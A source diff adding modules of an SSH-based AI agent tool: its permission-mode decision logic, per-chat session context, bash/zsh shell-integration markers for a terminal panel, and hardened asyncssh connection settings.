+    2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
+       what the tool is for, and a mode that skipped it would answer the
+       model's question on the reader's behalf.
+    3. An allow-list hit runs it.
+    4. Otherwise the table.
+
+    A command line carrying a shell metacharacter matches neither list, so it
+    reaches the table and Auto runs it. See the note above `_UNSAFE` for what
+    that trades away and why.
+
+    An unrecognised mode is treated as Manual, not Auto: a row that predates a
+    rename has to fail towards asking.
+    """
+    candidate = subject(tool_name, command)
+
+    hit = _matches(deny, candidate)
+    if hit:
+        return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.")
+
+    if risk == RISK_ASK:
+        return Decision(ASK, "")
+
+    if mode not in POLICY:
+        return Decision(ASK, f"“{mode}” is not a mode I know, so I am asking.")
+
+    hit = _matches(allow, candidate)
+    if hit:
+        return Decision(ALLOW, f"“{hit}” is on the list of things to allow.")
+
+    verdict = POLICY[mode].get(risk, ASK)
+    if verdict == ALLOW:
+        return Decision(ALLOW, "")
+
+    label = MODE_LABELS.get(mode, mode)
+    return Decision(ASK, f"{label} mode asks before anything that {_verb(risk)}.")
+
+
+def _verb(risk: str) -> str:
+    return {
+        RISK_READ: "reads",
+        RISK_WRITE: "changes a file",
+        RISK_EXECUTE: "runs a command",
+    }.get(risk, "does this")
+
+
+__all__ = [
+    "ALLOW",
+    "ASK",
+    "MODES",
+    "MODE_AUTO",
+    "MODE_EDIT",
+    "MODE_GUIDANCE",
+    "MODE_HINTS",
+    "MODE_LABELS",
+    "MODE_MANUAL",
+    "MODE_PLAN",
+    "POLICY",
+    "Decision",
+    "Limits",
+    "decide",
+    "subject",
+]

src/lembas/services/agent/session.py

@@ -0,0 +1,277 @@
+"""What one agent chat is pointed at, resolved while a session is open.
+
+Everything a runner needs travels in `AgentContext`: the machine, the decrypted
+credential, the mode in force, and the two lists that adjust it. Nothing is
+looked up later, for the reason `Endpoint` is a frozen copy of a `Connection`
+and `ToolContext` carries an owner id rather than a `User` -- a generation
+outlives the request that started it, and a detached instance is a trap.
+
+The mode is read **once, at the start of the reply**, and deliberately does not
+change under a reply already in flight. Somebody switching to Auto halfway
+through must not retroactively approve what is already queued.
+"""
+
+from __future__ import annotations
+
+import logging
+from dataclasses import dataclass, field, replace
+from typing import Any
+
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.db.models import KIND_AGENT, Chat, SshProfile, User
+from lembas.services import settings_store
+from lembas.services.agent import hosts, policy
+from lembas.services.agent import ssh as ssh_service
+from lembas.services.agent.base import Executor
+from lembas.services.agent.policy import Limits
+
+log = logging.getLogger(__name__)
+
+
+@dataclass
+class AgentContext:
+    """The machine an agent chat acts on, and what it may do there."""
+
+    chat_id: str
+    label: str
+    project_dir: str
+    # The connection's id, carried so a runner can drop the project listing it
+    # has just invalidated. `index` is keyed on the connection and the
+    # directory, not on the chat -- two chats on one tree share a listing.
+    profile_id: str = ""
+    mode: str = policy.MODE_MANUAL
+    allow: tuple[str, ...] = ()
+    deny: tuple[str, ...] = ()
+    limits: Limits = field(default_factory=Limits)
+    # Per-command bounds, from the instance settings.
+    timeout: float = 60.0
+    max_timeout: float = 600.0
+    max_output: int = 64 * 1024
+    # The decrypted credential. Held here and nowhere else, and cleared by
+    # `generation` when the reply ends -- a finished Generation lingers five
+    # minutes so late followers get the final frames, and a private key should
+    # not linger with it.
+    spec: dict[str, Any] = field(default_factory=dict)
+    # Set only on the per-call copy handed to a runner whose call a person has
+    # just allowed. The runners re-check the mode as a backstop, and without
+    # this they would refuse the very thing that was approved -- the mode says
+    # "ask", and asking is exactly what happened.
+    approved: bool = False
+    # Absolute paths this reply has read. `file_edit` refuses a file that is not
+    # in here, because a patch written from memory against a file the model has
+    # not looked at is how a rewrite silently loses somebody's work.
+    #
+    # Here rather than on `Generation` for two reasons. Runners never see a
+    # Generation -- they get a `ToolContext`, which is a session-free snapshot
+    # precisely so nothing in a tool holds live state -- and a read path is a
+    # fact about the machine, which is what this class is.
+    #
+    # It is **shared with the approved copy**: `as_approved` is
+    # `dataclasses.replace`, which copies field references, so a path read
+    # through an approved call is visible here. That is wanted and is not
+    # obvious, so there is a test for it.
+    #
+    # It resets each reply, and that is correct rather than a limitation.
+    # `Message.tool_calls_json` is deliberately never replayed as context, so on
+    # the next turn the model does not have the file's contents either --
+    # requiring a re-read in the reply that edits is asking for something it
+    # needs anyway.
+    read_paths: set[str] = field(default_factory=set)
+    # The plan currently in force, seeded from `chat.plan_message_id` when this
+    # is resolved. Mutable and read/written in place by `plan_update`, for a
+    # reason that is not obvious: a runner cannot write the message row --
+    # `_persist` is the single writer -- so it returns the merged plan on its
+    # event and the loop carries it. Two updates in one reply would then both
+    # read the same stale plan from the database and the second would lose the
+    # first. This snapshot is what they actually merge into.
+    plan: dict[str, Any] = field(default_factory=dict)
+    # Whether commands may run detached. When off, `shell_run` is byte-for-byte
+    # what it always was and the `job_*` tools are not offered -- a command that
+    # times out is killed, as before. When on, a command can be launched in the
+    # background (or converted to one when it times out) and the model gets the
+    # tools to check on it. `on_timeout` is the sub-switch for the auto-convert.
+    background: bool = False
+    background_on_timeout: bool = True
+    # Whether a finished job wakes the model on its own, rather than only being
+    # seen when it next runs. Read by the wording here and by the watcher.
+    background_notify: bool = True
+    # Most jobs watched at once. A watcher is a periodic reconnect, so this is a
+    # real resource; past it a job still runs but is not watched or woken for.
+    background_max_jobs: int = 5
+
+    def executor(self) -> Executor:
+        return ssh_service.SshExecutor(self.spec, self.project_dir)
+
+    def clear(self) -> None:
+        self.spec = {}
+
+    def as_approved(self) -> AgentContext:
+        """A copy of this context for one call a person has allowed."""
+        return replace(self, approved=True)
+
+
+def _plan_of(db: DBSession, chat: Chat) -> dict[str, Any]:
+    """The plan this chat is working to, or an empty dict.
+
+    One `db.get` by primary key -- the column exists to avoid a scan for "the
+    newest message carrying a plan", because this runs while a request is
+    waiting. The id is validated here rather than constrained in the schema, for
+    the reason the column's comment gives.
+    """
+    from lembas.db.models import Message
+    from lembas.services import plans
+
+    if not chat.plan_message_id:
+        return {}
+    message = db.get(Message, chat.plan_message_id)
+    if message is None or message.chat_id != chat.id:
+        return {}
+    return plans.normalise(message.plan_json)
+
+
+def profile_for(db: DBSession, chat: Chat, user: User | None) -> SshProfile | None:
+    """The connection this chat is pointed at, if it is still usable.
+
+    Ownership is re-checked here rather than trusted from when the chat was
+    created: a profile can be deleted, disabled, or moved to a host whose key
+    has not been confirmed since, and any of those should stop the chat acting
+    rather than be discovered at the first command.
+    """
+    if chat is None or chat.kind != KIND_AGENT or not chat.ssh_profile_id:
+        return None
+
+    profile = db.get(SshProfile, chat.ssh_profile_id)
+    if profile is None or not profile.enabled:
+        return None
+    if user is not None and profile.owner_id != user.id:
+        return None
+    # A row can predate a setting, so this is asked here rather than trusted
+    # from when the profile was saved: an administrator moving the switch to
+    # `off` has to stop the chats already pointed at loopback, not only the next
+    # one somebody tries to create. See services/agent/hosts.py.
+    if not hosts.usable(db, profile):
+        return None
+    return profile
+
+
+def _allow_for(chat: Chat) -> tuple[str, ...]:
+    """Imported inside `resolve` rather than at module scope.
+
+    `services/tools.py` imports this module's `resolve`, so a top-level import
+    back the other way is a cycle.
+    """
+    from lembas.services import tools as tools_service
+
+    return tools_service.scoped_allow(chat)
+
+
+def refresh(db: DBSession, agent: AgentContext) -> AgentContext:
+    """Re-read the two things a person can change while a reply is running.
+
+    The mode and the chat's own allow list, and nothing else. Everything else on
+    the context is fixed for the life of a chat (the connection, the directory)
+    or is an instance setting nobody is editing mid-reply.
+
+    Called once per round rather than once per reply. The reply-long snapshot it
+    replaces made both controls do nothing until the next turn: switching to
+    Auto during a long agent reply went on asking about every call, and
+    "Always allow this" was accepted, written to the row, and then ignored for
+    the rest of the reply that had just asked. Both look exactly like a control
+    that does not work, because for that reply they were.
+
+    Once per *round* and not more often, because a round's calls are authorised
+    together: what is already queued was decided under the mode that was in
+    force when it was queued, and switching to Auto must not retroactively
+    approve it. Mutated in place -- `as_approved` copies field references, so a
+    replacement here would leave the approved copy of this round pointing at the
+    old one.
+    """
+    chat = db.get(Chat, agent.chat_id)
+    if chat is None:
+        return agent
+
+    agent.mode = chat.agent_mode if chat.agent_mode in policy.MODES else policy.MODE_MANUAL
+    instance = settings_store.agents(db)
+    agent.allow = (*(instance.get("allow_default") or ()), *_allow_for(chat))
+    return agent
+
+
+def _limits_for(db: DBSession, chat: Chat, values: dict[str, Any]) -> Limits:
+    """What this chat's replies may spend.
+
+    A helper's chat is sized by its own settings rather than the instance's,
+    because a reply answering one delegated question is not the same shape of
+    work as the reply that asked it: it should run out of room long before its
+    parent does, and an agent chat's own numbers are deliberately generous
+    enough to run for a quarter of an hour. `output_bytes` is shared, being a
+    property of what a command can hand back rather than of who asked.
+
+    `or 0` is avoided on the completion ceiling in both branches: zero is how an
+    administrator says "no ceiling", and the accessors have already clamped it.
+    """
+    if chat.parent_chat_id:
+        sub = settings_store.subagents(db)
+        return Limits(
+            steps=int(sub["max_rounds"]),
+            wall_seconds=float(sub["wall_seconds"]),
+            output_bytes=int(values.get("max_total_output_bytes") or 1024 * 1024),
+            completion_tokens=int(sub.get("max_completion_tokens", 60_000) or 0),
+        )
+    return Limits(
+        steps=int(values.get("max_steps") or 200),
+        wall_seconds=float(values.get("max_wall_seconds") or 900),
+        output_bytes=int(values.get("max_total_output_bytes") or 1024 * 1024),
+        completion_tokens=int(values.get("max_completion_tokens", 200_000) or 0),
+    )
+
+
+def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None:
+    """This chat's agent setup, or None if it has none it can use.
+
+    None is the answer to every "no": not an agent chat, the feature switched
+    off, the connection gone or disabled, SSH not installed. Each of those means
+    the agent tools are not offered at all, which is better than offering a tool
+    that fails on its first call.
+
+    A profile whose host key has never been confirmed is deliberately *not* one
+    of them. The tools are offered and the failure is explicit, because "check
+    the connection and accept its fingerprint" is a thing the reader can act on,
+    while a silently missing tool is not.
+    """
+    profile = profile_for(db, chat, user)
+    if profile is None:
+        return None
+
+    values = settings_store.agents(db)
+    if not values.get("enabled"):
+        return None
+    if ssh_service.available():
+        return None
+
+    return AgentContext(
+        chat_id=chat.id,
+        label=profile.label,
+        plan=_plan_of(db, chat),
+        project_dir=chat.project_dir or profile.default_dir or "",
+        profile_id=profile.id,
+        mode=chat.agent_mode if chat.agent_mode in policy.MODES else policy.MODE_MANUAL,
+        # The instance's list, plus whatever this chat's reader has said
+        # "always" to on a card. Never the other way round for the deny list:
+        # a chat cannot un-deny anything, and `decide` consults deny first
+        # regardless.
+        allow=(*(values.get("allow_default") or ()), *_allow_for(chat)),
+        deny=tuple(values.get("deny_default") or ()),
+        limits=_limits_for(db, chat, values),
+        timeout=float(values.get("default_timeout") or 60),
+        max_timeout=float(values.get("max_timeout") or 600),
+        max_output=int(values.get("max_output_bytes") or 64 * 1024),
+        background=bool(values.get("background_enabled")),
+        background_on_timeout=bool(values.get("background_on_timeout", True)),
+        background_notify=bool(values.get("background_notify", True)),
+        background_max_jobs=int(values.get("background_max_jobs") or 5),
+        spec=ssh_service.spec_from(profile),
+    )
+
+
+__all__ = ["AgentContext", "profile_for", "resolve"]

src/lembas/services/agent/shell_marks.py

@@ -0,0 +1,401 @@
+"""Knowing where one command ends and the next begins, in the terminal panel.
+
+Without this the panel can offer "the last forty rows of the screen", which is
+hard-wrapped at the terminal's width with no way to tell a wrap from a newline.
+That is not something to hand a model and call it the output of a command.
+
+So the shell is given hooks that emit invisible markers around the prompt, the
+command and its result -- OSC 133, which is what VS Code, WezTerm and Ghostty
+all use, plus two of VS Code's private codes for the things 133 has no room
+for. A real terminal that understands 133 is not confused by ours, and one that
+does not consumes and discards them, which is why the bytes are fanned out to
+the browser unchanged.
+
+**Three things about the mechanism.**
+
+The integration is written by the PTY command string itself, with `printf`.
+sshd runs that string through `$SHELL -c`, so it can branch on the shell's own
+name and needs no probe, no second channel and no writable `$HOME`. Passing it
+through the environment does not work: sshd's `AcceptEnv` is `LANG LC_*` on
+every distribution anybody runs, so the variable is dropped silently -- and
+bash reads `$BASH_ENV` only when non-interactive anyway. Feeding `source …` in
+as keystrokes does work, and races a slow `.zshrc`, echoes into the scrollback,
+and lands in shell history with no portable way to remove it.
+
+Nothing needs hiding, and that is the point of choosing this mechanism. The
+setup runs before the shell exists and never writes to the PTY's *input* side,
+so there is nothing for the tty to echo. The first byte a viewer sees is the
+first byte of their own prompt.
+
+There is deliberately no `133;B`. It has to live at the end of `PS1`, and any
+theme that rebuilds the prompt in a hook drops it silently every time. Every
+marker here comes from a shell hook instead, so none of them depends on a
+prompt string surviving somebody's dotfiles.
+
+**Markers are advisory.** A program can print `\\e]133;D;0\\a` and move a
+boundary. That is not a security problem -- the captured text is sanitised and
+fenced either way, and a program could already print anything on screen -- but
+nobody should later try to "validate" them.
+"""
+
+from __future__ import annotations
+
+import re
+from collections.abc import Callable
+
+# Everything ours is under these two. 133 is FinalTerm's de-facto convention;
+# 633 is VS Code's private space, borrowed because the raw stream carries the
+# *echoed* command with readline's editing escapes in it and is not
+# recoverable, and there is no standard code for "here is the command line".
+MARK_PROMPT = "A"  # 133;A  -- a prompt is about to be drawn
+MARK_OUTPUT = "C"  # 133;C  -- output starts here
+MARK_DONE = "D"  # 133;D;<exit>
+MARK_COMMAND = "E"  # 633;E;<escaped command>
+MARK_CWD = "P"  # 633;P;Cwd=<escaped path>
+MARK_READY = "LEMBAS"  # 633;LEMBAS;<shell>;1
+
+# A marker longer than this is not one of ours. `cat` of a binary file produces
+# stray ESC ] regularly, and without a bound one of them would swallow the rest
+# of the session into a buffer that never emptied.
+MAX_MARKER_BYTES = 8 * 1024
+
+_ESC = 0x1B
+_BEL = 0x07
+
+
+# --- The snippets ------------------------------------------------------------
+# `__lembas_esc` exists because an OSC payload may contain no BEL and no ESC
+# (either would end it ambiguously) and no ';' (which would split the fields).
+# Everything else rides through. It is also what lets `base.clean_output`'s
+# existing OSC pattern swallow a whole marker in one bite.
+
+BASH_RC = r"""
+# LLeMbas shell integration.
+#
+# --rcfile replaces bash's normal startup files rather than adding to them, so
+# bash's login sequence is reproduced here, in bash's own order, and nothing
+# anybody has in a dotfile is skipped.
+if [ -r /etc/profile ]; then . /etc/profile; fi
+for __lembas_rc in "$HOME/.bash_profile" "$HOME/.bash_login" "$HOME/.profile"; do
+  if [ -r "$__lembas_rc" ]; then . "$__lembas_rc"; break; fi
+done
+unset __lembas_rc
+if [ -r "$HOME/.bashrc" ]; then . "$HOME/.bashrc"; fi
+
+__lembas_esc() {
+  local s=${1//\\/\\\\}
+  s=${s//;/\\x3b}; s=${s//$'\n'/\\x0a}; s=${s//$'\r'/\\x0d}
+  s=${s//$'\e'/\\x1b}; s=${s//$'\a'/\\x07}
+  builtin printf '%s' "$s"
+}
+
+__lembas_emit() {
+  if [ -n "$__lembas_running" ]; then
+    builtin printf '\e]133;D;%s\a' "${__lembas_last:-0}"
+    __lembas_running=
+    __lembas_have=
+  fi
+  builtin printf '\e]633;P;Cwd=%s\a' "$(__lembas_esc "$PWD")"
+  builtin printf '\e]133;A\a'
+  __lembas_armed=1
+}
+
+# $BASH_COMMAND is the current *simple* command, so `a | b` would give "a".
+# `history 1` is the whole line as typed, which is what somebody would
+# recognise; it falls back when history is off.
+__lembas_line() {
+  local h
+  h=$(HISTTIMEFORMAT='' builtin history 1 2>/dev/null) || {
+    builtin printf '%s' "$BASH_COMMAND"; return; }
+  if [[ $h =~ ^[[:space:]]*[0-9]+[[:space:]]+(.*)$ ]]; then
+    builtin printf '%s' "${BASH_REMATCH[1]}"
+  else
+    builtin printf '%s' "$BASH_COMMAND"
+  fi
+}
+
+# The exit status is captured *in the DEBUG trap*, not in PROMPT_COMMAND.
+#
+# This is the one genuinely subtle thing in the file. DEBUG fires before every
+# simple command -- including each command inside PROMPT_COMMAND -- so anything
+# reading $? from there has already had it overwritten by whatever ran a moment
+# earlier, and by this trap's own command substitution. The first DEBUG firing
+# after the user's command is the last place the real status exists, so it is
+# taken there and held until the prompt emits it.
+#
+# `__lembas_have` is what stops the later firings (the ones inside
+# PROMPT_COMMAND) overwriting it, and `return $__s` puts $? back so nothing
+# downstream sees a status this trap invented.
+__lembas_debug() {
+  local __s=$?
+  if [ -n "$__lembas_running" ] && [ -z "$__lembas_have" ]; then
+    __lembas_last=$__s
+    __lembas_have=1
+  fi
+  if [ -n "$__lembas_armed" ]; then
+    __lembas_armed=
+    builtin printf '\e]633;E;%s\a' "$(__lembas_esc "$(__lembas_line)")"
+    builtin printf '\e]133;C\a'
+    __lembas_running=1
+  fi
+  return $__s
+}
+
+trap '__lembas_debug' DEBUG
+
+# Appended, so anything already there still runs and runs first.
+if [ -n "${BASH_VERSINFO[0]}" ] && [ "${BASH_VERSINFO[0]}" -ge 5 ] \
+   && [ "${PROMPT_COMMAND@a}" = "a" ]; then
+  PROMPT_COMMAND=("${PROMPT_COMMAND[@]}" __lembas_emit)
+else
+  PROMPT_COMMAND="${PROMPT_COMMAND:+$PROMPT_COMMAND; }__lembas_emit"
+fi
+
+builtin printf '\e]633;LEMBAS;bash;1\a'
+
+# Self-deleting: bash has read the whole file by the time this runs, and one
+# left in /tmp that a later shell might source is worse than any benefit.
+rm -rf -- "$(dirname -- "${BASH_SOURCE[0]}")" 2>/dev/null
+"""
+
+# zsh re-reads $ZDOTDIR before *each* startup file, so every shim points it back
+# at the user's directory, sources their file, and takes it again -- otherwise
+# zsh finds the user's .zshrc and ours never loads.
+#
+# `LEMBAS_USER_ZDOTDIR` is passed in on the exec line and must not be guessed
+# here. By the time .zshenv runs, `$ZDOTDIR` is already *our* directory, so a
+# `${ZDOTDIR:-$HOME}` fallback in this file captures the wrong path and the
+# shim ends up sourcing itself -- which looks like it works, right up to the
+# point somebody notices none of their own configuration is loaded.
+_ZSH_SHIM = r"""
+: ${LEMBAS_USER_ZDOTDIR:=$HOME}
+ZDOTDIR=$LEMBAS_USER_ZDOTDIR
+[[ -r $ZDOTDIR/%(file)s ]] && source $ZDOTDIR/%(file)s
+LEMBAS_USER_ZDOTDIR=$ZDOTDIR
+ZDOTDIR=$LEMBAS_DIR
+"""
+
+ZSH_ENV = _ZSH_SHIM % {"file": ".zshenv"}
+ZSH_PROFILE = _ZSH_SHIM % {"file": ".zprofile"}
+
+ZSH_RC = (
+    _ZSH_SHIM % {"file": ".zshrc"}
+    + r"""
+__lembas_esc() {
+  local s=${1//\\/\\\\}
+  s=${s//;/\\x3b}; s=${s//$'\n'/\\x0a}; s=${s//$'\r'/\\x0d}
+  s=${s//$'\e'/\\x1b}; s=${s//$'\a'/\\x07}
+  builtin print -rn -- $s
+}
+
+__lembas_precmd() {
+  local __s=$?
+  if [[ -n $__lembas_running ]]; then
+    builtin printf '\e]133;D;%s\a' $__s
+    __lembas_running=
+  fi
+  builtin printf '\e]633;P;Cwd=%s\a' "$(__lembas_esc $PWD)"
+  builtin printf '\e]133;A\a'
+}
+
+# $1 is the line as typed, before alias and glob expansion -- what somebody
+# would recognise. $2 and $3 are progressively more expanded and less useful.
+__lembas_preexec() {
+  builtin printf '\e]633;E;%s\a' "$(__lembas_esc $1)"
+  builtin printf '\e]133;C\a'
+  __lembas_running=1
+}
+
+# Prepended, not appended: whichever precmd runs first is the only one that
+# sees the real $?, and a theme's hook will have clobbered it by the time a
+# later one runs.
+precmd_functions=(__lembas_precmd $precmd_functions)
+preexec_functions=(__lembas_preexec $preexec_functions)
+
+builtin printf '\e]633;LEMBAS;zsh;1\a'
+"""
+)
+
+ZSH_LOGIN = (
+    _ZSH_SHIM % {"file": ".zlogin"}
+    + r"""
+# The last file zsh reads, so this is where ZDOTDIR goes back for good.
+ZDOTDIR=$LEMBAS_USER_ZDOTDIR
+[[ -n $LEMBAS_DIR ]] && rm -rf -- $LEMBAS_DIR
+unset LEMBAS_DIR LEMBAS_USER_ZDOTDIR
+"""
+)
+
+
+def quote(value: str) -> str:
+    """A single-quoted shell word, with embedded quotes escaped."""
+    return "'" + value.replace("'", "'\\''") + "'"
+
+
+def command_for(project_dir: str, *, integrate: bool = True) -> str | None:
+    """What the PTY runs.
+
+    Returns None for the account's plain login shell in the one case that has
+    always returned it -- no project directory and no integration -- so the
+    existing behaviour is byte for byte what it was.
+
+    `$SHELL -c` is what sshd puts this through, so it is POSIX sh and branches
+    on the shell's own name. Anything that is not bash or zsh falls out of the
+    `case` into exactly the line that was here before, because a terminal that
+    works without markers is worth more than markers that break a terminal.
+    Every step is `2>/dev/null`, so a full `/tmp` or a read-only home costs the
+    markers and nothing else.
+    """
+    cd = f"cd {quote(project_dir)} 2>/dev/null; " if project_dir else ""
+    if not integrate:
+        if not project_dir:
+            return None
+        return f"{cd}exec ${{SHELL:-/bin/sh}} -l"
+
+    return (
+        f"{cd}umask 077; "
+        # mkdir -m 700 fails on a path that already exists, which is what makes
+        # the fallback safe when mktemp is missing.
+        '__L=$(mktemp -d 2>/dev/null) || { '
+        '__L=${TMPDIR:-/tmp}/.lembas-$$-$RANDOM; mkdir -m 700 "$__L"; }; '
+        "case ${SHELL##*/} in "
+        f'  bash) printf %s {quote(BASH_RC)} > "$__L/rc" 2>/dev/null && '
+        '        exec bash --rcfile "$__L/rc" -i ;; '
+        f'  zsh)  printf %s {quote(ZSH_ENV)} > "$__L/.zshenv" 2>/dev/null && '
+        f'        printf %s {quote(ZSH_PROFILE)} > "$__L/.zprofile" 2>/dev/null && '
+        f'        printf %s {quote(ZSH_RC)} > "$__L/.zshrc" 2>/dev/null && '
+        f'        printf %s {quote(ZSH_LOGIN)} > "$__L/.zlogin" 2>/dev/null && '
+        # The user's own ZDOTDIR is captured *here*, before it is replaced.
+        '        LEMBAS_DIR="$__L" LEMBAS_USER_ZDOTDIR="${ZDOTDIR:-$HOME}" '
+        '        ZDOTDIR="$__L" exec zsh -l ;; '
+        "esac; "
+        # Everything that did not exec lands here: an unknown shell, a failed
+        # mkdir, a full /tmp. You still get a shell.
+        'rm -rf -- "$__L" 2>/dev/null; exec ${SHELL:-/bin/sh} -l'
+    )
+
+
+# --- Reading them back -------------------------------------------------------
+_UNESCAPE = re.compile(r"\\x([0-9a-fA-F]{2})")
+
+
+def unescape(value: str) -> str:
+    """Undo `__lembas_esc`."""
+    return _UNESCAPE.sub(lambda m: chr(int(m.group(1), 16)), value).replace("\\\\", "\\")
+
+
+class Marks:
+    """Pulls the markers out of a stream that arrives in any pieces.
+
+    Deliberately not a regex over the scrollback. The pump is handed 64 KB at a
+    time on no particular boundary, so the ESC and the `]` land in different
+    frames often enough to matter -- which is the same reason nothing here
+    decodes the bytes. This holds at most one partial marker and nothing else.
+    """
+
+    def __init__(
+        self,
+        on_mark: Callable[[str, str], None],
+        on_text: Callable[[bytes], None] | None = None,
+    ) -> None:
+        self._on_mark = on_mark
+        self._on_text = on_text
+        self._buffer = bytearray()
+        self._in_marker = False
+        self._plain = bytearray()
+
+    def feed(self, data: bytes) -> None:
+        """Split the stream into markers and everything else.
+
+        Both come back *in order* and as they are found, not after the whole
+        chunk has been scanned. That matters: a shell frequently writes the
+        command marker, the output and the finished marker in one 64KB read, so
+        anything that scanned first and absorbed afterwards would find the
+        capture already closed and keep nothing.
+        """
+        for byte in data:
+            if not self._in_marker:
+                # A lone ESC is held: the ']' may be in the next frame.
+                if byte == _ESC:
+                    self._flush()
+                    self._buffer = bytearray([byte])
+                    self._in_marker = True
+                else:
+                    self._plain.append(byte)
+                continue
+
+            if len(self._buffer) == 1:
+                if byte != 0x5D:  # ']' -- some other escape sequence
+                    # Not ours, so it is output like anything else. Emitted
+                    # rather than dropped: `clean_output` strips it later, and
+                    # swallowing it here would silently eat a colour change.
+                    self._in_marker = False
+                    self._plain += self._buffer
+                    self._plain.append(byte)
+                    self._buffer.clear()
+                    continue
+                self._buffer.append(byte)
+                continue
+
+            # Two legal terminators, and shells in the wild use both: BEL, and
+            # ESC \ (ST). The ESC has to be *appended* rather than treated as
+            # the start of something new, or the ST branch below can never fire.
+            if byte == _BEL:
+                self._finish()
+                continue
+
+            self._buffer.append(byte)
+            if self._buffer.endswith(b"\x1b\\"):
+                del self._buffer[-2:]
+                self._finish()
+                continue
+            # An `ESC ]` inside a marker that was never terminated starts a new
+            # one. Without this a truncated marker would eat the next.
+            if self._buffer.endswith(b"\x1b]"):
+                self._buffer = bytearray(b"\x1b]")
+                continue
+            if len(self._buffer) > MAX_MARKER_BYTES:
+                # Not one of ours. Output is worth more than a marker.
+                self._in_marker = False
+                self._plain += self._buffer
+                self._buffer.clear()
+
+        self._flush()
+
+    def _flush(self) -> None:
+        if not self._plain:
+            return
+        if self._on_text is not None:
+            self._on_text(bytes(self._plain))
+        self._plain.clear()
+
+    def _finish(self) -> None:
+        payload = bytes(self._buffer[2:]).decode("utf-8", "replace")
+        self._in_marker = False
+        self._buffer.clear()
+
+        code, _, rest = payload.partition(";")
+        if code not in ("133", "633") or not rest:
+            return
+        kind, _, value = rest.partition(";")
+        self._on_mark(kind, value)
+
+
+__all__ = [
+    "BASH_RC",
+    "MARK_COMMAND",
+    "MARK_CWD",
+    "MARK_DONE",
+    "MARK_OUTPUT",
+    "MARK_PROMPT",
+    "MARK_READY",
+    "MAX_MARKER_BYTES",
+    "Marks",
+    "ZSH_ENV",
+    "ZSH_LOGIN",
+    "ZSH_PROFILE",
+    "ZSH_RC",
+    "command_for",
+    "quote",
+    "unescape",
+]

src/lembas/services/agent/ssh.py

@@ -0,0 +1,505 @@
+"""Acting on a machine over SSH.
+
+Connections are made per call, for the reason MCP sessions are, plus one more: a
+live `SSHClientConnection` is exactly the kind of state `ToolContext` exists so
+that nothing holds. A command is already a network round trip inside a reply
+that takes seconds, so a second one to open the channel is not the cost worth
+optimising.
+
+**Four asyncssh defaults are actively wrong here, and all four are passed
+explicitly on every connection.** Every LLeMbas user shares one unix account, so
+"whatever the account has lying around" is never the right answer:
+
+* `known_hosts` unset reads that shared `~/.ssh/known_hosts` -- one trust store
+  for everybody. Set to `None` it disables host key checking altogether, which
+  is never correct and is the single easiest way to make this insecure.
+* `client_keys` unset loads `~/.ssh/id_*`, so one person's chat could
+  authenticate with a key another person left there, or with the server's own.
+* `config` unset reads `~/.ssh/config`, where a `Hostname` or `ProxyCommand`
+  can send the connection somewhere else entirely.
+* `agent_path` unset silently uses `$SSH_AUTH_SOCK`.
+
+`asyncssh` is an optional dependency, imported inside the functions that need it
+so an instance with agents switched off never pays for it and an instance that
+forgot to install it gets a sentence rather than an ImportError at startup.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+import time
+from typing import Any
+
+from lembas.db.models import AUTH_PASSWORD, SshProfile
+from lembas.services.agent.base import (
+    Conflict,
+    ExecError,
+    ExecRequest,
+    ExecResult,
+    RemoteEntry,
+    RemoteFile,
+    clean_output,
+    revision_of,
+)
+from lembas.services.crypto import decrypt
+
+log = logging.getLogger(__name__)
+
+# A file read into a model's context, and one written out of it. Both bounded:
+# the first because a 40 MB log would fill the window, the second because
+# nothing a model writes in one call should be larger than this.
+MAX_READ_BYTES = 256 * 1024
+MAX_WRITE_BYTES = 1024 * 1024
+
+# How many entries a directory listing returns before it is cut short.
+MAX_ENTRIES = 500
+
+INSTALL_HINT = (
+    "SSH support is not installed. Run `pip install -e \".[ssh]\"` in the "
+    "LLeMbas virtual environment and restart."
+)
+
+
+def available() -> str:
+    """Empty when SSH can be used, else why it cannot.
+
+    Shaped like `search.availability`, and used the same way: the feature stays
+    visible in the UI with an install hint rather than silently missing.
+    """
+    try:
+        import asyncssh  # noqa: F401
+    except ImportError:
+        return INSTALL_HINT
+    return ""
+
+
+def spec_from(profile: SshProfile) -> dict[str, Any]:
+    """A session-free snapshot of one profile, credential decrypted.
+
+    Called while the session is open. The plaintext lives in the returned dict
+    and nowhere else; `generation` drops it when the reply ends.
+    """
+    return {
+        "id": profile.id,
+        "label": profile.label,
+        "host": profile.host,
+        "port": int(profile.port or 22),
+        "username": profile.username,
+        "auth": profile.auth,
+        "password": decrypt(profile.password_encrypted),
+        "private_key": decrypt(profile.private_key_encrypted),
+        "key_passphrase": decrypt(profile.key_passphrase_encrypted),
+        "host_key": profile.host_key,
+        "connect_timeout": int(profile.connect_timeout or 15),
+    }
+
+
+def connect_kwargs(spec: dict[str, Any]) -> dict[str, Any]:
+    """Everything asyncssh must be told rather than left to discover.
+
+    See the module docstring: every one of these has a default that is wrong
+    when one unix account is shared by every user of the instance.
+    """
+    if not spec.get("host_key"):
+        raise ExecError(
+            "This connection's host key has not been confirmed yet. Open it "
+            "under Agents and press Check, then accept the fingerprint."
+        )
+
+    keys: list = []
+    if spec.get("auth") != AUTH_PASSWORD and spec.get("private_key"):
+        import asyncssh
+
+        try:
+            keys = [
+                asyncssh.import_private_key(
+                    spec["private_key"], passphrase=spec.get("key_passphrase") or None
+                )
+            ]
+        except Exception as exc:  # noqa: BLE001 - any failure here is one message
+            raise ExecError(f"That private key could not be read: {exc}") from exc
+
+    timeout = int(spec.get("connect_timeout") or 15)
+    return {
+        "username": spec["username"],
+        "port": int(spec.get("port") or 22),
+        # Bytes, never None. None turns host key checking off entirely.
+        "known_hosts": spec["host_key"].encode(),
+        "client_keys": keys,
+        "password": (spec.get("password") or None) if spec.get("auth") == AUTH_PASSWORD else None,
+        "config": None,
+        "agent_path": None,
+        "connect_timeout": timeout,
+        "login_timeout": timeout,
+    }
+
+
+async def capture_host_key(host: str, port: int, *, timeout: int = 15) -> tuple[str, str]:
+    """The host's key as a known_hosts line, and its SHA256 fingerprint.
+
+    `get_server_host_key` completes the key exchange and stops, so nothing is
+    offered to a host that has not been accepted yet -- no username, no
+    password, no key. That is what makes trust-on-first-use safe to do from a
+    button rather than only from a terminal.
+    """
+    if problem := available():
+        raise ExecError(problem)
+    import asyncio
+
+    import asyncssh
+
+    try:
